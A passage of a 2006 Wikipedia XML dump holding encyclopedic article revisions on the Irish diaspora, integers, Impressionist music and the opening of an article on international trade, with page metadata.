      <timestamp>2006-03-03T20:08:59Z</timestamp>
      <contributor>
        <username>Dismas</username>
        <id>152983</id>
      </contributor>
      <minor />
      <comment>US -&gt; U.S. per MoS#Acronyms and abbreviations</comment>
      <text xml:space="preserve">The '''Irish diaspora''' consists of [[Ireland|Irish]] [[emigrants]] and their descendants in [[Country|countries]] such as the [[United States]], the [[United Kingdom]], [[Canada]], [[Australia]], [[New Zealand]], [[South Africa]] and states of the [[Caribbean]] and continental [[Europe]].  The [[diaspora]], maximally interpreted, contains over 80 million people, which is over fourteen times the population of the island of Ireland itself (5.6 million in 2002). 

There are also large [[Irish ethnicity|Irish]] communities in every [[EU]] member state as well as [[Japan]], [[Argentina]] and [[Brazil]]. The diaspora was caused by a number of factors, including [[politics|political]] and [[penal laws|religious]] oppression, joblessness, and [[An Gorta Mór|hunger]] in a sometimes harsh land.

The term Irish diaspora is open to many interpretations. One, preferred by the [[Dáil Éireann |government of Ireland]], is defined in legal terms: the Irish diaspora are those of Irish nationality habitually resident outside of the island of Ireland. This includes Irish citizens who have emigrated abroad, and their children, who are Irish citizens by descent under Irish law. It also includes their grandchildren in cases where the grandchildren were registered as Irish citizens in the Foreign Births Register held in every Irish diplomatic mission. Under this legal definition, the Irish diaspora is considerably smaller than in the popular imagination - some 3.0 million persons, of whom 1.2 million are Irish-born emigrants. This is still an extraordinarily large ratio for any nation.

However, to general understanding, the Irish diaspora is not limited by citizenship status, leading to an estimated (and fluctuating) membership of 80 million persons - the second and more emotive definition. The Irish Government acknowledged this interpretation - although it did not acknowledge any legal obligations to it - when Article 2 of Bunreacht na hÉireann (Constitution of Ireland) was amended in 1998 to read ''&quot;[f]urthermore, the Irish nation cherishes its special affinity with people of Irish ancestry living abroad who share its cultural identity and heritage.&quot;''  Added to this are the significant number of &quot;[[Scotch-Irish]]&quot; or, more properly, [[Scots-Irish]] or [[Ulster-Scots]].

This was demonstrated in [[2002]] when a group of Argentineans with Irish great-grandparents attempted to register themselves as Irish citizens. Their applications were rejected because the right to register as an Irish citizen terminates at the third generation. This contrasts with citizenship law in Italy, Germany, Israel, Japan and other countries which make no legal reference to cherishing special affinities with their diasporas but which nonetheless permit legal avenues through which members of the diaspora can register as citizens.

The diaspora to America was immortalized in the words of many songs including the famous Irish [[ballad]], ''&quot;The Green Fields of America&quot;'':

:''So pack up your sea-stores, consider no longer'', 
:''Ten dollars a week is not very bad pay'', 
:''With no taxes or tithes to devour up your wages'', 
:''When you're on the green fields of America''.

==Britain==
{{main|Irish community in Britain}}

As late as the  early 1990s, the Irish-born in [[Britain]] were still viewed with mixed feelings by a small and very conservative minority, due in part to the [[Provisional Irish Republican Army|IRA]]'s 20-year bombing campaign on mainland Britain starting in the early 1970s. The Irish have traditionally been involved in the building trade, following an influx of Irish workers, or [[navvies]], who built the canal, road and rail networks in the 19th century. Since the 1950s and 1960s in particular, the Irish have become assimilated into the indigenous population. There are now well in excess of one million Irish born residents, with some estimates putting the total Irish diaspora in Britain at as much as 20 percent of the population, or [[millions|12 million]]. This is largely due to the flow of immigrants from Ireland during the many famines there and particularly 'The Great Famine' of 1845 - 1850. Immigration continued into the next century, when the numbers of immigrants during the 1950's and 1960's began to increase, many settling in the larger cities and towns of Britain. [[London]] once more holds an official [[St. Patrick's Day]] which had previously been cancelled in the 1970s because of terrorist activity.

==Europe==
Irish links with the continent go back many centuries. During the early Middle Ages, many Irish religious went abroad to preach and found monasteries. [[Saint Brieuc]] founded the city that bears his name in [[Brittany]], and [[Columbanus|Saint Colmán]] founded the great monastery of [[Bobbio]] in [[northern Italy]].

During the [[Counter-Reformation]], Irish religious and political links with Europe became stronger. [[Louvain]] in Belgium grew into an important centre of learning for Irish priests. The [[Flight of the Earls]] in 1607 led much of the Gaelic nobility to flee the country, and after the wars of the 17th century many others fled to Spain, France, Austria, and other Catholic lands. The lords and their retainers and supporters joined the armies of these countries, and were known as the [[Flight of the Wild Geese|Wild Geese]]. Some of the lords and and their descendents rose to high ranks in their adoptive countries, such as the French royalist [[Patrice MacMahon, duc de Magenta|Patrice de MacMahon]], who became [[president of France]].  

During the 20th century, certain Irish intellectuals made their homes in continental Europe, particularly [[James Joyce]], and later [[Samuel Beckett]] (who became a courier for the [[French Resistance]]). 

[[Eoin O'Duffy]] led a brigade of 700 Irish volunteers to fight for [[Francisco Franco|Franco]] during the [[Spanish Civil War]]. [[William Joyce]] became an English-language propagandist for the [[Third Reich]], known colloquially as [[Lord Haw-Haw]].

==United States==
{{main|Irish Americans}}
The classic image of an Irish [[immigrant]] is led occasionally by racist and anti-[[Roman Catholic|Catholic]] stereotypes. In modern times in the [[United States|U.S.]], the Irish are perceived as hard workers. Most notably they are associated with the positions of [[policeman]], fireman, Catholic Church leaders and politicians in the larger Eastern-Seaboard metropolitan areas. [[Irish American]]s number over 44 million, making them the second largest ethnic group in the U.S., after [[German American]]s. The largest Irish American communities are in [[New York]], [[Chicago, Illinois|Chicago]] and [[Boston, Massachusetts|Boston]]. [[New York, New York]] and [[Savannah, Georgia]] hold the first- and second-largest [[Saint Patrick's Day|Patrick's Day]] parades in the [[USA]], respectively.  At state level, [[California]] has the largest number of Irish Americans. In percentage terms, Boston is the most [[Irish people|Irish]] city in the U.S., and Massachusetts the most Irish state.

Before the [[Great Famine|Potato Famines]] in Ireland, there had been the [[Penal Laws]].  Under these laws, [[non-Conformists]] or non-[[Anglican|Anglicans]] had certain civil rights suppressed by the [[British Crown]], resulting in the massive migration of several hundred thousand people from Ireland - particularly from the province of [[Ulster]].  Because a majority of these were Presbyterians, and many of those had settled in Ulster from Scotland, they became known as the &quot;[[Scotch-Irish]]&quot; in America in a steady stream of [[emigration]] throughout the [[18th Century]].  The more correct term is [[Scots-Irish]] or [[Ulster-Scots]] though.  Many settled in the mountains of south-east of the [[USA]] and, due to their affiliation with [[King William III]] of Orange, or &quot;King Billy&quot;, they became known as &quot;Billy-Boys of the Hills&quot; - later [[Hillbillies]].  Some of them wore red or orange neck-scarves to signify that they were signaturees of Ulster's [[Solemn League and Covenant]] and were also known as [[Rednecks]].  There has been some anti-[[Protestant]] sentiment against them, though they are generally less vocal about their [[Irish heritage]], having assimilated more fully into American society.  There is some resurgance in interest.  [[Dolly Parton]], for example, has recently discovered her Ulster-Scots roots, and [[John Wayne]] was quite proud of his &quot;[[Scotch-Irish]]&quot; heritage.

However, several tens of thousands of people also left for other places during this time, including Africa, New Zealand, Canada and Britain.

==Canada==
{{main|Irish Canadians}}. ''See also [[Irish Quebecers]], [[Irish Newfoundlanders]].''

==Latin America==
In the 17th century, [[Oliver Cromwell]] sent many Irish rebels into slavery in [[Caribbean]] [[tobacco]] plantations. Many of the [[Flight of the Wild Geese|Wild Geese]] who had gone to [[Spain]] continued on to its colonies in [[South America]]. In the 1820's they helped liberate the continent. [[Bernardo O'Higgins]] was the first president of [[Chile]]. 

===Argentina===
In the late 19th century, about 50,000 Irish immigrants were in [[Argentina]]. Distinct Irish communities existed, including Irish schools and a news paper, ''The Southern Cross'', until the Peron era in the 1950s.  In the 1880's the Argentine government sought to promote immigration from Ireland and sent two agents to Ireland to recruit young and able-bodied migrants. The agents, however, promised more than they could deliver and when 2,000 Irish arrived aboard the ''City of Dresden'' ship they were plunged into destitution. News of the scandal, known as the ''Dresden affair'', reached Ireland, and scared away future travellers.  Today there are about 500,000 people of Irish ancestry in Argentina. 

[[Che Guevara]], whose grandmother's surname was Lynch, was another famous member of this diaspora. Guevara's father, Ernesto Guevara Lynch, said of him: &quot;The first thing to note is that in my son's veins flowed the blood of the Irish rebels&quot;. On [[March 13]] [[1965]], the [[Irish Times]] journalist [[Arthur Quinlan]] interviewed Che at [[Shannon Airport]] during a stopover flight from [[Prague]] to [[Cuba]]. Guevara talked of his Irish connections through the name Lynch and of his grandmother's Irish roots in [[Galway]]. Later, Che, and some of his [[Cuba]]n comrades, went to [[Limerick City]] and adjourned to the Hanratty's Hotel on Glentworth Street. According to Quinlan, they returned that evening all wearing sprigs of [[shamrock]], for Shannon and Limerick were preparing for the St. Patrick's Day celebrations. ([http://news.scotsman.com/features.cfm?id=1413422003 Scotsman Newspaper, The night Che Guevara came to Limerick, Sun [[28 December]] [[2003]]])

===Mexico===
{{main|Irish Mexican}}
Probably the most famous Irishman ever to reside in Mexico is the Wexfordman [[William Lamport]], better known to most Mexicans as Guillen de Lampart, precursor of the Independence movement and author of the first proclamation of independence in the New World. His statue stands today in the Crypt of Heroes beneath the Column of Independence in Mexico City. Some authorities claim he was the inspiration for Johnston McCulley's [[Zorro]], though the extent to which this may be true is disputed.

After Lampart, the most famous Irishmen in Mexican history are probably &quot;Los Patricios&quot;. Many communities also existed in [[Mexican Texas]] until the [[Texas Revolution|revolution]] there, when they sided with Catholic Mexico against Protestant pro-U.S. elements. The ''[[Saint Patrick's Battalion|Batallón de San Patricio]]'', a battalion of U.S. troops who deserted and fought alongside the [[Mexican Army]] against the United States in the [[Mexican-American War]] of 1846 to 1848, is also famous in [[History of Mexico|Mexican history]]. [[Álvaro Obregón]] (O'Brian) was [[List of Presidents of Mexico|president of Mexico]] during 1920-24 and [[Ciudad Obregón|Obregón city]] and [[Ciudad Obregón International Airport|airport]] are named in his honour. Mexico also has a large number of people of Irish ancestry, including the country's current President, [[Vicente Fox]], and the actor [[Anthony Quinn]]. There are also monuments in Mexico City paying tribute to those Irish who fought for Mexico in the 1800s. There is a monument to Los Patricios in the fort of Churubusco.

==South Africa==
Nineteenth-century [[South Africa]] did not attract mass Irish migration, but Irish communities were to be found in [[Cape Town]], [[Port Elizabeth]], [[Kimberley, South Africa|Kimberley]], and [[Johannesburg]], with smaller communities in [[Pretoria]], [[Barberton]], [[Durban]] and [[East London]]. A third of the Cape's governors were Irish, as were many of the judges and politicians. Both the Cape Colony and the colony of [[KwaZulu-Natal Province|Natal]] had Irish prime ministers: Sir [[Thomas Upington]], &quot;The [[Afrikaner]] from [[Cork]]&quot;; and [[Sir Albert Hime]], from [[Kilcoole]] in [[County Wicklow]]. Irish Cape Governors included [[George Macartney, 1st Earl Macartney|Lord Macartney]], [[Du Pre Alexander, 2nd Earl of Caledon|Lord Caledon]] and [[Sir John Francis Cradock]]. Irish settlers were brought in small numbers over the years, as from other parts of the [[United Kingdom of Great Britain and Ireland|United Kingdom]]. Henry Nourse, a shipowner at the Cape, brought out a small party of Irish settlers in [[1818]]. In [[1823]], John Ingram brought out 146 Irish from Cork. Single Irish women were sent to the Cape on a few occasions. Twenty arrived in November [[1849]] and forty six arrived in March [[1851]]. The majority arrived in November [[1857]] aboard the Lady Kennaway. A large contingent of Irish troops fought in the [[Second Boer War|Anglo-Boer War]] on both sides and a few of them stayed in South Africa after the war. Others returned home but later came out to settle in South Africa with their families. Between 1902 and 1905, there were about 5000 Irish immigrants. Place names in South Africa include Upington, Porteville, Caledon, Cradock, Sir Henry Lowry's Pass, the Biggarsberg Mountains, [[Donnybrook, South Africa|Donnybrook]] and [[Belfast, South Africa|Belfast]].

''External links'': [http://scripts.ireland.com/ancestor/magazine/articles/uhf_safrica1.htm Irish Police in SA] &amp; [http://homepages.paradise.net.nz/golden/A%20Guide%20to%20research%20in%20South%20Africa.htm Research in SA]

==Australia==
Of the first [[Europeans]] to settle in [[Australia]], one-fifth were Irish. The rest of the population was predominantley English with a smattering of Scots. The Irish were almost exclusively convicts and from the beginning were marginalised. The mid-nineteenth century saw the push-pull effect of the Irish potato famine and the Australian [[gold rush]]. Irish nuns and brothers founded the Australian Catholic schooling systems in the late-nineteenth century. The Australian census in 2001 recorded 1.9 million people of Irish ancestry out of a total population of around 19 million.

==See also - Biography==
===Politicians===
*[[Patrice MacMahon, duc de Magenta]], first President of the [[Third French Republic]].
*[[Bernardo O'Higgins]], first [[President of Chile]], and his father, [[Viceroy of Peru]] [[Ambrosio O'Higgins]], a [[County Sligo|Sligoman]].
*[[Brian Mulroney]], 18th [[Prime Minister of Canada]], child of Irish Quebecers.
*[[Louis St. Laurent]], 12th Prime Minister of Canada, mother an [[Irish Quebecer]].
*[[Chaim Herzog]], 6th [[President of Israel]], a [[Cork]]man.
*[[John F. Kennedy]], 35th [[President of the United States]], also [[Robert F. Kennedy]] and [[Edward M. Kennedy]], members of the [[Kennedy political family|Kennedy Family]], originally from [[Wexford]].
*[[Ronald Reagan]], 40th President of the United States.
*[[Álvaro Obregón]], [[List of Presidents of Mexico|President of Mexico]] 1920-24. 
:Obregón's grandfather is said to have been an Irish railroad worker named ''O'Brian''. Mexico's [[Ciudad Obregón|Obregón city]] and [[Ciudad Obregón International Airport|airport]] are named in honour of the president.
*[[Che Guevara]]
:Guevara's father, Ernesto Guevara Lynch, said of him: &quot;The first thing to note is that in my son's veins flowed the blood of the Irish rebels&quot;. On [[March 13]] [[1965]], the [[Irish Times]] journalist [[Arthur Quinlan]] interviewed Che at [[Shannon Airport]] during a stopover flight from [[Prague]] to [[Cuba]]. Guevara talked of his Irish connections through the name Lynch and of his grandmother's Irish roots in [[Galway]]. Later, Che, and some of his [[Cuba]]n comrades, went to [[Limerick City]] and adjourned to the Hanratty's Hotel on Glentworth Street. According to Quinlan, they returned that evening all wearing sprigs of [[shamrock]], for Shannon and Limerick were preparing for the St. Patrick's Day celebrations.
*Congressman [[John Martin]]
*[[James Duane]], [[List of mayors of New York City|Mayor of New York City]] 1784, son of a Galway man.
*Cardinal [[James Gibbons]]
*[[Owney Madden]]
*Count [[Joseph Cornelius O’Rourke]], Lieutenant General of the [[Russian Imperial Guard]].
*[[James Callaghan]] was Labour Prime Minister of the United Kingdom from 1976 to 1979.
*[[Vicente Fox]], his paternal grandfather is of Irish descent
*[[Richard J. Daley]], current mayor of [[Chicago]]. 
*[[Richard M. Daley]], former long term mayor of Chicago.

===Artists and Musicians===
*[[Paul McCartney]], [[John Lennon]] and [[George Harrison]] of the [[Beatles]].
*[[Bruce Springsteen]] Songwriter, performer and political activist.
*[[Liam Gallagher]] and [[Noel Gallagher]] of [[Oasis (band)|Oasis]].
*[[Juan O'Gorman]], a 20th Century Mexican artist, both a painter and an architect.
*[[Anthony Quinn]], [[Academy Award|Oscar]]-winning Mexican actor.
*[[Johnny Rotten]]  (b. John Lydon) Lead singer of the [[Sex Pistols]]. 
*[[Keith Richards]], Lead Guitarist for the Rolling Stones. &lt;!--Is this correct?--&gt;
*[[Lafcadio Hearn]], known as 小泉八雲 (Koizumi Yakumo) in Japanese, early 20th Century writer.
* [[Mike Joyce]], [[Johnny Marr]], [[Steven Morrissey]] and [[Andy Rourke]], members of the [[Smiths]]

===Scientists===
*[[Ernest Walton]], [[Cambridge]]-based co-winner of the [[Nobel Prize in Physics]], 1951.
*[[Kathleen Lonsdale]], [[University College, London|London]]-based 20th century Chemist.

===Misc===
*[[William Joyce|Lord Haw Haw]], [[Nazi Germany]] [[propaganda]] broadcaster.

==See also - [[Irish Brigade]]==
* [[Irish Brigade (French)]] formed from the Irish army after the [[flight of the Wild Geese]] in [[1691]].
* The Irish Battalion, or ''[[Saint Patrick's Battalion|Los San Patricio]]'', who fought on the side of [[Mexico]] against the [[Mexican-American War|U.S. invasion of 1846-48]].
* [[Irish Brigade (US)]] served on the Union side in the [[American Civil War]] in the 1860s.
* [[Tyneside Irish Brigade]], [[WWI]] brigade serving in the [[British army]] at the [[Battle of the Somme|Somme]].

==See also - Causes of Irish emigration==
*[[Great Irish Famine (1740-1741)]]
*[[Irish Potato Famine (1845-1849)]]
*[[Irish Famine (1879)]]
*[[Economic history of Ireland]]
*[[Economic history of the Republic of Ireland]]
*The [[Economic War]], 1933-38.
*[[The Emergency|Ireland during WWII]]

==See also - General==
* [[Demographics of Ireland]]
*[[Irish Australians]]
* [[Irish Americans]]
* [[Irish Canadians]]
** [[Irish Quebecers]]
** [[Irish Newfoundlanders]]
** [[Newfoundland Irish]]
* [[Irish community in Britain]]
* [[Irish Traveller]]s
* [[List of Ireland-related topics]]
* [[Irish place names in other countries]]
* [[Irish immigration to Puerto Rico]]

==External links==
* [http://netsoc.ucd.ie/~kobrien/Irish_in_Argentina.html The Irish in Argentina]
* [http://shop.store.yahoo.com/4crests/irsurinar.html Irish Surnames in Argentina]
*[http://www.irishdiaspora.net/vp01.cfm?outfit=ids&amp;requesttimeout=500&amp;folder=158&amp;paper=159 Newfoundland: The Most Irish Place Outside of Ireland]
*[http://www.brad.ac.uk/acad/diaspora/misc/intro.shtml Irish Diaspora Studies Dept, Bradford University UK]
*[http://www.irishargentine.org/argentina.pdf Ireland and Argentina]
*[http://www.irishargentine.org/dresden.htm City of Dresden] scandal.
* The Irish in New Jersey by Dermot Quinn   http://rutgerspress.rutgers.edu/acatalog/__The_Irish_in_New_Jersey_1167.html
* [http://www.newadvent.org/cathen/08132b.htm The Irish (In Countries Other Than Ireland)] - Article in the Catholic Encyclopedia

==References==
* Gerard Ronan - ''The Irish Zorro: The Extraordinary Adventures of William Lamport (1615-1659)''
*The Story of the Irish in Argentina, by Thomas Murray (1919)

[[Category:Celts]]
[[Category:Diasporas]]
[[Category:Ethnic groups in the United Kingdom]]
[[Category:Ireland]]
[[Category:Irish emigrants]]</text>
    </revision>
  </page>
  <page>
    <title>ISO</title>
    <id>14562</id>
    <revision>
      <id>29395171</id>
      <timestamp>2005-11-27T17:49:55Z</timestamp>
      <contributor>
        <username>Kusma</username>
        <id>145855</id>
      </contributor>
      <comment>#REDIRECT [[International Organization for Standardization]] (that's where all links to this page want to end up)</comment>
      <text xml:space="preserve">#REDIRECT [[International Organization for Standardization]]</text>
    </revision>
  </page>
  <page>
    <title>Integer</title>
    <id>14563</id>
    <revision>
      <id>41337843</id>
      <timestamp>2006-02-26T18:11:14Z</timestamp>
      <contributor>
        <username>Ciphergoth</username>
        <id>9493</id>
      </contributor>
      <comment>snap redirect</comment>
      <text xml:space="preserve">The '''integers''' consist of the positive [[natural numbers]] ([[1 (number)|1]], [[2 (number)|2]], [[3 (number)|3]], &amp;hellip;), their [[negative and non-negative numbers|negative]]s  (&amp;minus;1, &amp;minus;2, &amp;minus;3, ...) and the number [[0 (number)|zero]]. Like the natural numbers, the integers form a [[countably infinite]] set. The [[set]] of all integers is usually denoted in [[mathematics]] by a boldface '''Z''' (or [[blackboard bold]], &lt;math&gt;\mathbb{Z}&lt;/math&gt;), which stands for ''Zahlen'' ([[German language|German]] for &quot;numbers&quot;). 

The term '''rational integer''' is used, in [[algebraic number theory]], to distinguish these 'ordinary' integers, in the [[rational number]]s, from other concepts such as the [[Gaussian integer]]s.

== Algebraic properties ==

Like the natural numbers, '''Z''' is [[closure (mathematics)|closed]] under the [[binary operation|operations]] of [[addition]] and [[multiplication]], that is, the sum and product of any two integers is an integer.  However, with the inclusion of the negative natural numbers, and, importantly, [[0 (number)|zero]], '''Z''' (unlike the natural numbers) is also closed under [[subtraction]]. '''Z''' is not closed under the operation of [[division (mathematics)|division]], since the quotient of two integers (''e.g.'', 1 divided by 2), need not be an integer.

The following table lists some of the basic properties of addition and multiplication for any integers ''a'', ''b'' and ''c''.
{| class=&quot;wikitable&quot;
|  || addition || multiplication
|-
| [[Closure (mathematics)|closure]]: || ''a''&amp;nbsp;+&amp;nbsp;''b''&amp;nbsp;&amp;nbsp; is an integer || ''a''&amp;nbsp;&amp;times;&amp;nbsp;''b''&amp;nbsp;&amp;nbsp;  is an integer
|-
| [[associativity]]: || ''a''&amp;nbsp;+&amp;nbsp;(''b''&amp;nbsp;+&amp;nbsp;''c'')&amp;nbsp;&amp;nbsp;=&amp;nbsp;&amp;nbsp;(''a''&amp;nbsp;+&amp;nbsp;''b'')&amp;nbsp;+&amp;nbsp;''c'' || ''a''&amp;nbsp;&amp;times;&amp;nbsp;(''b''&amp;nbsp;&amp;times;&amp;nbsp;''c'')&amp;nbsp;&amp;nbsp;=&amp;nbsp;&amp;nbsp;(''a''&amp;nbsp;&amp;times;&amp;nbsp;''b'')&amp;nbsp;&amp;times;&amp;nbsp;''c''
|-
| [[commutativity]]: || ''a''&amp;nbsp;+&amp;nbsp;''b''&amp;nbsp;&amp;nbsp;=&amp;nbsp;&amp;nbsp;''b''&amp;nbsp;+&amp;nbsp;''a'' || ''a''&amp;nbsp;&amp;times;&amp;nbsp;''b''&amp;nbsp;&amp;nbsp;=&amp;nbsp;&amp;nbsp;''b''&amp;nbsp;&amp;times;&amp;nbsp;''a''
|-
| existence of an [[identity element]]: || ''a''&amp;nbsp;+&amp;nbsp;0&amp;nbsp;&amp;nbsp;=&amp;nbsp;&amp;nbsp;''a'' || ''a''&amp;nbsp;&amp;times;&amp;nbsp;1&amp;nbsp;&amp;nbsp;=&amp;nbsp;&amp;nbsp;''a''
|-
| existence of [[inverse element]]s: || ''a''&amp;nbsp;+&amp;nbsp;(&amp;minus;''a'')&amp;nbsp;&amp;nbsp;=&amp;nbsp;&amp;nbsp;0 ||
|-
| [[distributivity]]: || colspan=2 align=center| ''a''&amp;nbsp;&amp;times;&amp;nbsp;(''b''&amp;nbsp;+&amp;nbsp;''c'')&amp;nbsp;&amp;nbsp;=&amp;nbsp;&amp;nbsp;(''a''&amp;nbsp;&amp;times;&amp;nbsp;''b'')&amp;nbsp;+&amp;nbsp;(''a''&amp;nbsp;&amp;times;&amp;nbsp;''c'')
|}

In the language of [[abstract algebra]], the first five properties listed above for addition say that '''Z''' under addition is an [[abelian group]]. As a group under addition, '''Z''' is a [[cyclic group]], since every nonzero integer can be written as a finite sum 1 + 1 + ... 1 or (&amp;minus;1) + (&amp;minus;1) + ... + (&amp;minus;1).  In fact, '''Z''' under addition is the ''only'' infinite cyclic group, in the sense that any infinite cyclic group is [[group isomorphism|isomorphic]] to '''Z'''. 

The first four properties listed above for multiplication say that '''Z''' under multiplication is a [[commutative monoid]]. However, note that not every integer has a multiplicative inverse; e.g. there is no integer ''x'' such that 2''x'' = 1, because the left hand side is even, while the right hand side is odd. This means that '''Z''' under multiplication is not a group.

All the properties from the above table taken together say that '''Z''' together with addition and multiplication is a commutative [[ring (mathematics)|ring]] with unity. In fact, '''Z''' provides the motivation for defining such a structure. The lack of multiplicative inverses, which is equivalent to the fact that '''Z''' is not closed under division, means that '''Z''' is not a [[field (mathematics)|field]]. The smallest field containing the integers is the field of [[rational number]]s. This process can be mimicked to form the [[field of fractions]] of any [[integral domain]], where an integral domain is a [[commutative ring]] with unity such that whenever ''ab'' = 0, either ''a'' = 0 or ''b'' = 0.

Although ordinary division is not defined on '''Z''', it does possess an important property called the [[division algorithm]]: that is, given two integers ''a'' and ''b'' with ''b''&amp;nbsp;&amp;ne;&amp;nbsp;0, there exist unique integers ''q'' and ''r'' such that ''a''&amp;nbsp;=&amp;nbsp;''q'' &amp;times; ''b''&amp;nbsp;+&amp;nbsp;''r'' and 0 &amp;le; ''r'' &lt; |''b''|, where |''b''| denotes the [[absolute value]] of ''b''. The integer ''q'' is called the ''quotient'' and ''r'' is called the ''[[remainder]]'', resulting from division of ''a'' by ''b''. This is the basis for the [[Euclidean algorithm]] for computing [[greatest common divisor]]s.

Again, in the language of abstract algebra, the above says that '''Z''' is a [[Euclidean domain]]. This implies that '''Z''' is a [[principal ideal domain]] and any positive integer can be written as the products of [[prime number|primes]] in an essentially unique way.  This is the [[fundamental theorem of arithmetic]].

==Order-theoretic properties ==

'''Z''' is a [[total order|totally ordered set]] without upper or lower bound.  The ordering of '''Z''' is given by
: ... &lt; &amp;minus;2 &lt; &amp;minus;1 &lt; 0 &lt; 1 &lt; 2 &lt; ...
An integer is ''positive'' if it is greater than zero and ''negative'' if it is less than zero.  Zero is defined as neither negative nor positive. 

The ordering of integers is compatible with the algebraic operations in the following way:
# if ''a'' &lt; ''b'' and ''c'' &lt; ''d'', then ''a'' + ''c'' &lt; ''b'' + ''d''
# if ''a'' &lt; ''b'' and 0 &lt; ''c'', then ''ac'' &lt; ''bc''.  (From this fact, one can show that if ''c'' &lt; 0, then ''ac'' &gt; ''bc''.)

==Integers in computing==
{{Main|Integer (computer science)}}

An integer (sometimes known as an &quot;&lt;tt&gt;int&lt;/tt&gt;&quot;, from the name of a datatype in the [[C programming language]]) is often a primitive [[datatype]] in [[computer language]]s.  However, integer datatypes can only represent a [[subset]] of all integers, since practical computers are of finite capacity.

Variable-length representations of integers, such as [[bignum]]s, can store any integer that fits in the computers memory.  Other integer datatypes are implemented with a fixed size, usually a number of bits which is a power of 2 (4, 8, 16, ''etc.'') or a memorable number of decimal digits (''e.g.'', 9 or 10).  

In contrast, theoretical models of [[digital computer]]s, such as [[Turing machine]]s, typically do have infinite (but only [[countable]]) capacity.

==Quotation==

''God invented the integers, all else is the work of man.'' [[Leopold Kronecker|Kronecker]]

==External links==

* [http://www.positiveintegers.org The Positive Integers - divisor tables and numeral representation tools]

[[Category:Elementary mathematics]]
[[Category:Group theory]]
[[Category:Integers]]
[[Category:Elementary number theory]]
[[Category:Set theory]]

[[af:Heelgetal]]
[[ar:أعداد صحيحة]]
[[bg:Цяло число]]
[[ca:Nombre enter]]
[[cs:Celé číslo]]
[[da:Heltal]]
[[de:Ganze Zahl]]
[[et:Täisarv]]
[[es:Número entero]]
[[eo:Entjero]]
[[fa:اعداد صحیح]]
[[fr:Entier relatif]]
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[[ko:정수]]
[[hr:Cijeli broj]]
[[io:Integro]]
[[id:Bilangan bulat]]
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[[it:Numero intero]]
[[he:מספר שלם]]
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[[ja:整数]]
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[[ru:Целое число]]
[[scn:Nùmmuru rilativu]]
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[[zh:整数]]</text>
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    <title>InterCal</title>
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    <title>International Wikipedia</title>
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  <page>
    <title>Impressionist music</title>
    <id>14566</id>
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      <contributor>
        <username>Friendlymat</username>
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      <text xml:space="preserve">{{unreferenced}}

The '''Impressionist movement in music''' is a movement in [[music]] loosely set between the late [[nineteenth century]], up to the middle of the [[twentieth century]].  Like its precursor in the [[visual arts]], musical [[impressionism]] was based in [[France]], and the French composers [[Claude Debussy]] and [[Maurice Ravel]] are generally considered to be the two &quot;great&quot; impressionists (although Debussy renounced the term, and Ravel composed many other pieces that can't possibly be identified as &quot;Impressionist&quot;). A notable [[United States|American]] impressionist [[composer]] was [[Charles Tomlinson Griffes]].

Philosophically, impressionism aimed to convey the atmospheric impact of an event, place, or thing, rather than an accurate portrayal of the subject itself. For instance, Debussy's setting of the ''[[Prelude to the Afternoon of a Faun|Prélude à l'après-midi d'un faune]]'' is not a literal portrayal of the events of the already vague poem, but a depiction of the feeling of the poem.

Technically, the impressionists invented or began using a great number of new [[compositional technique]]s: multi-modality, planing (the use of voices moving in parallel motion; Debussy's prelude ''[[Preludes (Debussy)|La cathédrale engloutie]]'' provides an example), extended tertian [[harmony|harmonies]], and intentionally ambiguous [[musical forms]]. 

Impressionist composers also made extensive use of [[whole tone scale|whole tone scales]] to create a dreamy, &quot;hazy&quot; effect in their works, much like the blurred paintings of [[Renoir]] and [[Monet]]. They deliberately abandoned the major-minor scales which had been in use since the seventeenth century. Also, a sharp focus on [[tone color]] led to many new possibilities. 



See also [[List of impressionistic pieces]].

[[Category:Musical movements]][[Category:Impressionism]]

[[he:מוזיקה אימפרסיוניסטית]]
[[pl:Impresjonizm (styl muzyczny)]]
[[sl:Glasbeni impresionizem]]

----
A Bartlleby Article[http://www.bartleby.com/65/im/impress-mus.html]&lt;p&gt;
A Yahoo Ecyclopedia Article[http://education.yahoo.com/reference/encyclopedia/entry/impress-mus--]&lt;p&gt;
[[User:Friendlymat|Friendlymat]] 01:42, 27 February 2006 (UTC)]</text>
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  <page>
    <title>International trade</title>
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      <comment>/* See also */ links to data</comment>
      <text xml:space="preserve">'''International trade''' is the exchange of goods and services across international boundaries or territories. In most countries, it represents a significant share of [[Gross Domestic Product|GDP]]. While international trade has been present throughout much of history (see [[Silk Road]], [[Amber Road]]), its economic, social, and political importance has been on the rise in recent centuries. [[Industrialization]], advanced [[transport|transportation]], [[globalization]], [[multinational corporation]]s, and [[outsourcing]] are all having a major impact. Increasing international trade is the usually primary meaning of &quot;[[globalization]]&quot;.

{{trading blocs}}

International trade is also a branch of [[economics]], which, together with [[international finance]], forms the larger branch of [[international economics]]. 
==International trade theory==
Several different models have been proposed to predict patterns of trade and to analyze the effects of trade policies such as tariffs.

===Ricardian model===
The [[Ricardian model]] focuses on [[comparative advantage]] and is perhaps the most important concept in international [[trade]] [[theory]].  In a Ricardian model, countries specialize in producing what they produce best.  Unlike other models, the Ricardian framework predicts that countries will fully specialize instead of producing a broad array of goods. Also, the Ricardian model does not directly consider factor endowments, such as the relative amounts of labor and capital within a country.

===Heckscher-Ohlin model===
The [[Heckscher-Ohlin model]] was produced as an alternative to the Ricardian model of basic comparative advantage. Despite its more complex and accurate predictive power, it also had an [[ideological]] mission: the elimination of the labor theory of value and the incorporation of the neoclassical price mechanism into international trade theory. The theory argues that the pattern of international trade is determined by differences in [[factor]] [[endowments]]. It predicts that countries will [[export]] those [[good (economics)|goods]] that make intensive use of locally abundant factors and will [[import]] goods that make intensive use of factors that are locally scarce.

===Specific Factors===
{{sectstub}}

===Gravity model===
The [[Gravity model of trade]] presents a more empirical analysis of trading patterns rather than the more theoretical models discussed above.  The gravity model, in its basic form, predicts trade based on the distance between countries and the interaction of the countries' economic sizes.  The model mimics the Newtonian [[law of gravity]] which also considers distance and physical size between two objects.  The model has been proven to be empirically strong through [[econometric]] analysis.  Other factors such as income level, diplomatic relationships between countries, and trade policies are also included in expanded verisions of the model.

==Regulation of international trade==

Traditionally trade was regulated through [[bilateral]] treaties between two nations.  For centuries under the belief in [[Mercantilism]] most nations had high [[tariff]]s and many restrictions on international trade.  In the 19th century, especially in [[United Kingdom|Britain]], a belief in [[free trade]] became paramount and this view has dominated thinking among western nations for most of the time since then. In the years since the [[Second World War]] [[multilateral]] treaties like the [[GATT]] and [[World Trade Organization]] have attempted to create a globally regulated trade structure.

